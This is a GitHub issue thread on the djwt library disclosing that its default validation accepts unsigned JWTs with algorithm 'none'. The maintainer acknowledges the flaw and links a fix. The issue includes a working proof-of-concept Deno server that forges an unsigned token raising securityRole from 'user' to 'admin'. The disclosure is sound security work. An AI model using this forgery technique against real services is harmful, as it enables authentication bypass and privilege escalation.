Zaubrik / djwt

Create and verify JSON Web Tokens (JWT) with Deno or the browser.
MIT License
228 stars 23 forks source link

Default implementation is insecure #14

Closed jpeterse closed 4 years ago

jpeterse commented 4 years ago

The default implementation, and the default examples provided, results in insecure implementation.

Since algorithm of "none" is a value algorithm, and the validation method by default is using the algorithm specified within the token itself, an attack will succeed, if a token is send without signature and algorithm of "none". This would allow access to the protected resources at any time, by generating tokens on the fly with algorithm "none", even if the original token was generated with HS256 or RS256 signature.

The validation function should be changed to always require an array of allowed algorithms as a required parameter. For a even more secure implementation, separate validation methods should be made available, one for each supported algorithm.

Prof of concept of the attack. The code below generates two tokens. One generated by makeJwt on the server, and one that could easily be generated locally by encoding a hacked payload and header. Submit each token to the server, and the server will respond with "Valid JWT' in both cases.

import { serve } from "https://deno.land/std@0.60.0/http/server.ts";
import { encode, decode } from "https://deno.land/std@0.60.0/encoding/utf8.ts"
import { decodeString as convertHexToUint8Array } from "https://deno.land/std@v0.60.0/encoding/hex.ts";
import { HmacSha256 } from "https://deno.land/std@v0.60.0/hash/sha256.ts";
import { HmacSha512 } from "https://deno.land/std@v0.60.0/hash/sha512.ts";
import { validateJwt } from "https://deno.land/x/djwt@v0.9.0/validate.ts";
import { makeJwt, setExpiration, Jose, Payload } from "https://deno.land/x/djwt@v0.9.0/create.ts";
import { convertUint8ArrayToBase64url } from "https://deno.land/x/djwt@v0.9.0/base64/base64url.ts";

interface JwtInput {
  key: string;
  header: Jose;
  payload?: Payload;
}

const mykey = "your-secret";

const jwtInput = {
  header: { typ: "JWT", alg: "HS256" as const },
  payload: { iss: "joe", exp: setExpiration(new Date().getTime()+30000), securityRole: "user" },
  key: mykey,
}

const jwtHackedInput = {
  header: { typ: "JWT", alg: "none" as const },
  payload: { iss: "joe", exp: setExpiration(new Date().getTime()+30000), securityRole: "admin" },
  key: "",
}

function convertStringToBase64url(input: string): string {
  return convertUint8ArrayToBase64url(new TextEncoder().encode(input));
}

function encodeHackedJWT( { key, header, payload }: JwtInput ): string {
  return `${convertStringToBase64url(
    JSON.stringify(header)
  )}.${convertStringToBase64url(JSON.stringify(payload || ""))}.`;
}

console.log("server is listening at 0.0.0.0:3000")
for await (const req of serve("0.0.0.0:3000")) {
  if (req.method === "GET")
    req.respond({
      body: encode(makeJwt(jwtInput) + "\n" + encodeHackedJWT(jwtHackedInput) + "\n"),
    })
  else
    (await validateJwt(decode(await Deno.readAll(req.body)), mykey, {isThrowing:false}))
      ? req.respond({ body: encode("Valid JWT\n") })
      : req.respond({ status: 401, body: encode("Invalid JWT\n") })
}
timonson commented 4 years ago

Yeah this was a big one @jpeterse , thank you very much for pointing this out. I fixed it with https://github.com/timonson/djwt/commit/ae0ec9d1146634e60c29572518d52f1b86e69235 and I would love to hear your opinion about this.